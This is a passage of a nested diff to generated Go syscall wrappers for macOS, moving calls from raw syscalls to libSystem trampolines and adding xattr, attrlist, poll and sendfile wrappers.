- func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_getsockname_trampoline), uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getsockname_trampoline()
-+
-+//go:linkname libc_getsockname libc_getsockname
-+//go:cgo_import_dynamic libc_getsockname getsockname "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_shutdown_trampoline), uintptr(s), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_shutdown_trampoline()
-+
-+//go:linkname libc_shutdown libc_shutdown
-+//go:cgo_import_dynamic libc_shutdown shutdown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+ _, _, e1 := syscall_rawSyscall6(funcPC(libc_socketpair_trampoline), uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_socketpair_trampoline()
-+
-+//go:linkname libc_socketpair libc_socketpair
-+//go:cgo_import_dynamic libc_socketpair socketpair "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-@@ -155,7 +220,7 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_recvfrom_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -163,6 +228,11 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- return
- }
-
-+func libc_recvfrom_trampoline()
-+
-+//go:linkname libc_recvfrom libc_recvfrom
-+//go:cgo_import_dynamic libc_recvfrom recvfrom "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-@@ -172,17 +242,22 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sendto_trampoline), uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sendto_trampoline()
-+
-+//go:linkname libc_sendto libc_sendto
-+//go:cgo_import_dynamic libc_sendto sendto "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_recvmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -190,10 +265,15 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_recvmsg_trampoline()
-+
-+//go:linkname libc_recvmsg libc_recvmsg
-+//go:cgo_import_dynamic libc_recvmsg recvmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_sendmsg_trampoline), uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -201,10 +281,15 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
- return
- }
-
-+func libc_sendmsg_trampoline()
-+
-+//go:linkname libc_sendmsg libc_sendmsg
-+//go:cgo_import_dynamic libc_sendmsg sendmsg "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_kevent_trampoline), uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -212,21 +297,10 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_kevent_trampoline()
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_kevent libc_kevent
-+//go:cgo_import_dynamic libc_kevent kevent "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -236,34 +310,49 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_utimes_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_utimes_trampoline()
-+
-+//go:linkname libc_utimes libc_utimes
-+//go:cgo_import_dynamic libc_utimes utimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_futimes_trampoline), uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_futimes_trampoline()
-+
-+//go:linkname libc_futimes libc_futimes
-+//go:cgo_import_dynamic libc_futimes futimes "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_poll_trampoline), uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_poll_trampoline()
-+
-+//go:linkname libc_poll libc_poll
-+//go:cgo_import_dynamic libc_poll poll "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Madvise(b []byte, behav int) (err error) {
-@@ -273,13 +362,18 @@ func Madvise(b []byte, behav int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+ _, _, e1 := syscall_syscall(funcPC(libc_madvise_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(behav))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_madvise_trampoline()
-+
-+//go:linkname libc_madvise libc_madvise
-+//go:cgo_import_dynamic libc_madvise madvise "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlock(b []byte) (err error) {
-@@ -289,23 +383,33 @@ func Mlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlock_trampoline()
-+
-+//go:linkname libc_mlock libc_mlock
-+//go:cgo_import_dynamic libc_mlock mlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_mlockall_trampoline), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mlockall_trampoline()
-+
-+//go:linkname libc_mlockall libc_mlockall
-+//go:cgo_import_dynamic libc_mlockall mlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Mprotect(b []byte, prot int) (err error) {
-@@ -315,13 +419,18 @@ func Mprotect(b []byte, prot int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-+ _, _, e1 := syscall_syscall(funcPC(libc_mprotect_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(prot))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_mprotect_trampoline()
-+
-+//go:linkname libc_mprotect libc_mprotect
-+//go:cgo_import_dynamic libc_mprotect mprotect "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Msync(b []byte, flags int) (err error) {
-@@ -331,13 +440,18 @@ func Msync(b []byte, flags int) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_msync_trampoline), uintptr(_p0), uintptr(len(b)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_msync_trampoline()
-+
-+//go:linkname libc_msync libc_msync
-+//go:cgo_import_dynamic libc_msync msync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlock(b []byte) (err error) {
-@@ -347,37 +461,52 @@ func Munlock(b []byte) (err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlock_trampoline), uintptr(_p0), uintptr(len(b)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlock_trampoline()
-+
-+//go:linkname libc_munlock libc_munlock
-+//go:cgo_import_dynamic libc_munlock munlock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munlockall_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munlockall_trampoline()
-+
-+//go:linkname libc_munlockall libc_munlockall
-+//go:cgo_import_dynamic libc_munlockall munlockall "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_getattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_getattrlist_trampoline()
-+
-+//go:linkname libc_getattrlist libc_getattrlist
-+//go:cgo_import_dynamic libc_getattrlist getattrlist "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_pipe_trampoline), 0, 0, 0)
- r = int(r0)
- w = int(r1)
- if e1 != 0 {
-@@ -386,26 +515,282 @@ func pipe() (r int, w int, err error) {
- return
- }
-
-+func libc_pipe_trampoline()
-+
-+//go:linkname libc_pipe libc_pipe
-+//go:cgo_import_dynamic libc_pipe pipe "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_getxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getxattr_trampoline()
-+
-+//go:linkname libc_getxattr libc_getxattr
-+//go:cgo_import_dynamic libc_getxattr getxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_fgetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fgetxattr_trampoline()
-+
-+//go:linkname libc_fgetxattr libc_fgetxattr
-+//go:cgo_import_dynamic libc_fgetxattr fgetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall9(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
